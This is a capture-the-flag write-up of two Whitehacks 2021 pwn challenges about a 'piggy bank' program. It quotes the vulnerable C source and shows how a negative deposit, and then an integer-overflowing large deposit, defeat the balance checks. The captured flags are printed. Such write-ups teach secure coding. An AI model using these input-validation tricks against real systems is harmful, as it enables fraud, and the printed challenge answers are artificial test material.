Hacking
Writeups
Pwn
Piggy_Bank

Piggy_Bank

Description

CTF: Whitehacks 2021

Time to save your angbao money! $_$

nc chals.whitehacks.ctf.sg 20101

Solve this challenge to unlock Piggy_Bank_Revenge!


piggy

piggy.c

Solution

Pwned by @teamfreestuff (opens in a new tab)

After connecting to the shell, we are greeted with the following screen:

Piggy Bank value: $1337.00
Wallet value:     $100.00

1) Deposit INTO Piggy
2) Withdraw FROM Piggy
3) Buy flag
4) Exit

Your choice:

When we attempt to buy the flag, it prints:

[-] Error: You cannot buy the flag. Come back when you have $31337.00

At this point, we should look at the nicely attached source code and search for vulnerabilities.

void deposit(){
	int amount;
	printf("How much would you like to DEPOSIT?\n");
	printf("> $");
	scanf("%d", &amount);
	// Check if wallet contains enough
	if(amount * 100 < user_cents){
		// Make deposit if valid value
		user_cents  -= amount * 100;
		piggy_cents += amount * 100;
	}
	else{
		// Insufficient funds in wallet
		printf("[-] Error: You do not have sufficient funds to DEPOSIT\n");
	}
}
 
void flag(){
	// Buy flag for $31337.00
	if(user_cents > 3133700){
		user_cents -= 31337000;
		system("cat flag");
		exit(0);
	}
	else{
		printf("[-] Error: You cannot buy the flag. Come back when you have $31337.00\n");
	}
}

Notice that deposit() does not check for negative values. If we attempt to deposit a negative value, we are able to satisfy user_cents > 3133700 in flag().

Piggy Bank value: $1337.00
Wallet value:     $100.00

1) Deposit INTO Piggy
2) Withdraw FROM Piggy
3) Buy flag
4) Exit

Your choice: 1

How much would you like to DEPOSIT?
$-100000

Piggy Bank value: $-98663.00
Wallet value:     $100100.00

1) Deposit INTO Piggy
2) Withdraw FROM Piggy
3) Buy flag
4) Exit

Your choice:

Now, we can buy the flag.

WH2021{N0w_the_p1ggy_is_wORS3_than_empty_:'(}

Piggy_Bank_Revenge

Seems there was an issue with the previous implementation. I've introduced a HOTFIX that should prevent any further vulnerabilities. I've achieved an unhackable piggy bank now for sure.

nc chals.whitehacks.ctf.sg 20201

This will require a bit more knowledge about programming than Piggy Bank. Give it a try and learn something new(?)"

If we compare the source code, we notice that they added a check for negative values for both deposit() and withdraw() functions.

void deposit(){
	int amount;
	printf("How much would you like to DEPOSIT?\n");
	printf("> $");
	scanf("%d", &amount);
+	// HOTFIX
+	if(amount < 0){
+		printf("[-] Error: No negative values!\n");
+		return;
+	}
	// Check if wallet contains enough
	if(amount * 100 < user_cents){
		// Make deposit if valid value
		user_cents  -= amount * 100;
		piggy_cents += amount * 100;
	}
	else{
		// Insufficient funds in wallet
		printf("[-] Error: You do not have sufficient funds to DEPOSIT\n");
	}
}

However, we can still take advantage of integer overflow (opens in a new tab) in C to create a negative integer using a very large positive integer. This works as integers are stored as their two's complement (opens in a new tab) in binary under the hood.

Piggy Bank value: $1337.00
Wallet value:     $100.00

1) Deposit INTO Piggy
2) Withdraw FROM Piggy
3) Buy flag
4) Exit

Your choice: 1

How much would you like to DEPOSIT?
$200000000

Piggy Bank value: $-14747027.-80
Wallet value:     $14748464.80

1) Deposit INTO Piggy
2) Withdraw FROM Piggy
3) Buy flag
4) Exit

Your choice:

Now, we can buy the flag.

WH2021{(Don't)Try_th1s_0n_youR_B4nk!}